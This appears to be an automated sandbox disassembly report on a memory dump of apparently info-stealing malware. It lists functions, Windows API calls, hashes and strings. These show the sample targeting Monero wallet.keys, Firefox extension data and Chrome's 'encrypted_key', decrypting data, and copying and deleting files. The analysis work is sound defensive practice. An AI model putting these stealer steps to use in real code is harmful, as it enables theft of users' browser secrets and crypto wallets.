Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 2c895261f7a0417e18621f84c516500534304360478518bcf187e73355fce6d4
Instruction ID: 0699bf5f486fa079279014a8e83aba44c92b32c34e79761f78b6c0470931b037
Opcode Fuzzy Hash: 2c895261f7a0417e18621f84c516500534304360478518bcf187e73355fce6d4
Instruction Fuzzy Hash: 1541D5B151079C5EDB228B248C95FFBBBEC9B45704F1454ACE98AC6182D3719E45CF60

Function 003C6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 003C6663

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

ShellExecuteEx.SHELL32(0000003C), ref: 003C6726
ExitProcess.KERNEL32 ref: 003C6755

Strings

<, xrefs: 003C66D9

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 96215c5bfe0e19741e2a98074174527409f348d80b52c97200398a2a5d20273e
Instruction ID: de3325791a949387feadf2249f35d5502da3860e8254146ed7fdc4e3064caf6a
Opcode Fuzzy Hash: 96215c5bfe0e19741e2a98074174527409f348d80b52c97200398a2a5d20273e
Instruction Fuzzy Hash: 17312BB1801218ABDB15EB90DC96FEEB778AF14304F404189F209AA191DF746F49CF6A

Function 003C87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,003D0E28,00000000,?), ref: 003C882F
RtlAllocateHeap.NTDLL(00000000), ref: 003C8836
wsprintfA.USER32 ref: 003C8850

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Strings

%dx%d, xrefs: 003C8847

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 107431fd1c2ee97133d0db320e8aa02ac06d2cc23c1940ed8f67f813f8cef26c
Instruction ID: eb02aa605bd98192b8f31695998ac9afe9cf1e1bae56f1fa0d38a7094a7c130c
Opcode Fuzzy Hash: 107431fd1c2ee97133d0db320e8aa02ac06d2cc23c1940ed8f67f813f8cef26c
Instruction Fuzzy Hash: F9212EB1A40208AFDB04DF94DD49FBEBBB8FB48711F104119F609E7280C7799904DBA2

Function 003C8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,003C951E,00000000), ref: 003C8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 003C8D62
wsprintfW.USER32 ref: 003C8D78

Strings

%hs, xrefs: 003C8D6F

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 96e46252852f7e68bb1b72765fe20c8edf5b8c67660739748d09aec4fba0a295
Instruction ID: 45d19c428392a369fac70dcddaa074a484131b273cb21eb045a671427a1b5d68
Opcode Fuzzy Hash: 96e46252852f7e68bb1b72765fe20c8edf5b8c67660739748d09aec4fba0a295
Instruction Fuzzy Hash: 00E08CB1A40208BFD700EB94EC0AE6977B8EB04702F000094FD0DD7280DAB59E04EB93

Function 003BA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003C8B60: GetSystemTime.KERNEL32(003D0E1A,0118E838,003D05AE,?,?,003B13F9,?,0000001A,003D0E1A,00000000,?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003C8B86

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003BA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 003BA3FF
lstrlen.KERNEL32(00000000), ref: 003BA6BC

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

DeleteFileA.KERNEL32(00000000), ref: 003BA743

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 89e22168bac585afaf29629372cbf581826e2380f19c22c2845c556ea331a733
Instruction ID: 45a04414fe58ab6e23db000ef5c58f42a0aea6b213400c2ccb8614039a16f658
Opcode Fuzzy Hash: 89e22168bac585afaf29629372cbf581826e2380f19c22c2845c556ea331a733
Instruction Fuzzy Hash: 71E1E97281060C9BCB16EBA4DC92FEE7738AF24304F50815DF516EA091EF346E09DB62

Function 003BD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003C8B60: GetSystemTime.KERNEL32(003D0E1A,0118E838,003D05AE,?,?,003B13F9,?,0000001A,003D0E1A,00000000,?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003C8B86

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003BD481
lstrlen.KERNEL32(00000000), ref: 003BD698
lstrlen.KERNEL32(00000000), ref: 003BD6AC
DeleteFileA.KERNEL32(00000000), ref: 003BD72B

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ea189af2326d893e89717b926fac8e1e9646eeb19d577e6cd7a8b1b1df44c0fc
Instruction ID: a2349fd213a706ac3c828e9b21bd9d622de5ba841e1a3b936be68ed60a1c67ce
Opcode Fuzzy Hash: ea189af2326d893e89717b926fac8e1e9646eeb19d577e6cd7a8b1b1df44c0fc
Instruction Fuzzy Hash: EE91DA7291060C9BDB16EBA4DC96FEE7738AF14308F50416DF506EA091EF346E09DB62

Function 003BD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003C8B60: GetSystemTime.KERNEL32(003D0E1A,0118E838,003D05AE,?,?,003B13F9,?,0000001A,003D0E1A,00000000,?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003C8B86

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003BD801
lstrlen.KERNEL32(00000000), ref: 003BD99F
lstrlen.KERNEL32(00000000), ref: 003BD9B3
DeleteFileA.KERNEL32(00000000), ref: 003BDA32

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ce1c3df62e164ab89c21eba519cce1b68cd5d9d76cc6044fb9958d8ce220de39
Instruction ID: 253ac9c01c77773b389115077990a05e9d41a1f7c9906855fa44cff7bb934692
Opcode Fuzzy Hash: ce1c3df62e164ab89c21eba519cce1b68cd5d9d76cc6044fb9958d8ce220de39
Instruction Fuzzy Hash: CB81DB7291060C9BDB06FBA4DC96EEE7738AF14308F50452DF506EA091EF346E09DB62

Function 003BF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003B99EC
Part of subcall function 003B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 003B9A11
Part of subcall function 003B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 003B9A31
Part of subcall function 003B99C0: ReadFile.KERNEL32(000000FF,?,00000000,003B148F,00000000), ref: 003B9A5A
Part of subcall function 003B99C0: LocalFree.KERNEL32(003B148F), ref: 003B9A90
Part of subcall function 003B99C0: CloseHandle.KERNEL32(000000FF), ref: 003B9A9A

Part of subcall function 003C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 003C8E52

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,003D1580,003D0D92), ref: 003BF54C
lstrlen.KERNEL32(00000000), ref: 003BF56B

Strings

^userContextId=4294967295, xrefs: 003BF59C
moz-extension+++, xrefs: 003BF5AD

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 4eba89760b74ce8f3e519a61d7652abb7368cb4ebec50d74dc58d61693737b9b
Instruction ID: 4ed6f56935f831d15694e7fefe7216654275f430f9b048c4611822ee298e9421
Opcode Fuzzy Hash: 4eba89760b74ce8f3e519a61d7652abb7368cb4ebec50d74dc58d61693737b9b
Instruction Fuzzy Hash: DA510071D0060CABDB05FBA0EC56EED7779AF54304F40852DF916AA191EE346E09CBA2

Function 003C70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

s<, xrefs: 003C7111
s<, xrefs: 003C72AE, 003C7179, 003C717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 003C718C

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s<$s<$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-1540657006
Opcode ID: 16a49d6a533f3ac260dc06afae98c432fb4b0b795f830a90a47cff446abe4a8d
Instruction ID: de08e2e369296fdbfdfce7542936f0f2650135f40a38a31dec75f85b883ecec3
Opcode Fuzzy Hash: 16a49d6a533f3ac260dc06afae98c432fb4b0b795f830a90a47cff446abe4a8d
Instruction Fuzzy Hash: 5A5180B1C042089BDB25EBA0DC81FEEB7B4AF54304F1440ADE615B7281EB746E88CF55

Function 003C3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 77b69d142564e516395d16f6053222947c6c5197133c644826f3b5220e7703e5
Instruction ID: f12c6d1ee8c110b390c2d1f8f4edde97de043c25175890c5e344b58511256fc0
Opcode Fuzzy Hash: 77b69d142564e516395d16f6053222947c6c5197133c644826f3b5220e7703e5
Instruction Fuzzy Hash: F7411EB5D10209ABCB05EFE4D885FEEB778AB54704F10841DE416AB290DB75AA05CFA2

Function 003B9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003B99EC
Part of subcall function 003B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 003B9A11
Part of subcall function 003B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 003B9A31
Part of subcall function 003B99C0: ReadFile.KERNEL32(000000FF,?,00000000,003B148F,00000000), ref: 003B9A5A
Part of subcall function 003B99C0: LocalFree.KERNEL32(003B148F), ref: 003B9A90
Part of subcall function 003B99C0: CloseHandle.KERNEL32(000000FF), ref: 003B9A9A

Part of subcall function 003C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 003C8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 003B9D39

Part of subcall function 003B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N;,00000000,00000000), ref: 003B9AEF
Part of subcall function 003B9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,003B4EEE,00000000,?), ref: 003B9B01
Part of subcall function 003B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N;,00000000,00000000), ref: 003B9B2A
Part of subcall function 003B9AC0: LocalFree.KERNEL32(?,?,?,?,003B4EEE,00000000,?), ref: 003B9B3F

